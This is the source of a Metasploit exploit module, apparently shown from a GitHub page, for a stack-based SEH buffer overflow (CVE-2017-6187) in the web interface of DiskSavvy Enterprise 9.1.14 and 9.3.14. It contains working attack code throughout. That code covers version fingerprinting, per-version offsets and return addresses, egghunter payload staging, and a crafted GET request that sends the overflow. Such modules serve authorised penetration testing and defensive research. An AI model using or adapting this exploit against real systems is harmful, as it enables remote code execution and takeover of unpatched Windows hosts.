Path: blob/master/modules/exploits/windows/http/disksavvy_get_bof.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Seh9include Msf::Exploit::Remote::Egghunter10include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'DiskSavvy Enterprise GET Buffer Overflow',17'Description' => %q{18This module exploits a stack-based buffer overflow vulnerability19in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,20caused by improper bounds checking of the request path in HTTP GET21requests sent to the built-in web server. This module has been22tested successfully on Windows XP SP3 and Windows 7 SP1.23},24'License' => MSF_LICENSE,25'Author' => [26'vportal', # Vulnerability discovery and PoC27'Gabor Seljan' # Metasploit module28],29'References' => [30['CVE', '2017-6187'],31['EDB', '40869']32],33'DefaultOptions' => {34'EXITFUNC' => 'thread'35},36'Platform' => 'win',37'Payload' => {38'BadChars' => "\x00\x09\x0a\x0d\x20",39'Space' => 50040},41'Targets' => [42[43'Automatic Targeting',44{45'auto' => true46}47],48[49'DiskSavvy Enterprise v9.1.14',50{51'Offset' => 542,52'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll]53}54],55[56'DiskSavvy Enterprise v9.3.14',57{58'Offset' => 2478,59'Ret' => 0x101142ff # POP # POP # RET [libspp.dll]60}61]62],63'Privileged' => true,64'DisclosureDate' => '2016-12-01',65'DefaultTarget' => 0,66'Notes' => {67'Reliability' => UNKNOWN_RELIABILITY,68'Stability' => UNKNOWN_STABILITY,69'SideEffects' => UNKNOWN_SIDE_EFFECTS70}71)72)73end7475def check76res = send_request_cgi(77'method' => 'GET',78'uri' => '/'79)8081if res && res.code == 20082version = res.body[/Disk Savvy Enterprise v[^<]*/]83if version84vprint_status("Version detected: #{version}")85if version =~ /9\.(1|3)\.14/86return Exploit::CheckCode::Appears87end8889return Exploit::CheckCode::Detected90end91else92vprint_error('Unable to determine due to a HTTP connection timeout')93return Exploit::CheckCode::Unknown94end9596Exploit::CheckCode::Safe97end9899def exploit100mytarget = target101102if target['auto']103mytarget = nil104105print_status('Automatically detecting the target...')106107res = send_request_cgi(108'method' => 'GET',109'uri' => '/'110)111112if res && res.code == 200113if res.body =~ /Disk Savvy Enterprise v9\.1\.14/114mytarget = targets[1]115elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/116mytarget = targets[2]117end118end119120if !mytarget121fail_with(Failure::NoTarget, 'No matching target')122end123124print_status("Selected target: #{mytarget.name}")125end126127eggoptions = {128checksum: true,129eggtag: rand_text_alpha(4, payload_badchars)130}131132hunter, egg = generate_egghunter(133payload.encoded,134payload_badchars,135eggoptions136)137138sploit = make_nops(10)139sploit << egg140sploit << rand_text_alpha(mytarget['Offset'] - egg.length)141sploit << generate_seh_record(mytarget.ret)142sploit << make_nops(8)143sploit << hunter144sploit << rand_text_alpha(4500)145146print_status('Sending malicious request...')147148send_request_cgi(149'method' => 'GET',150'uri' => sploit151)152end153end154155156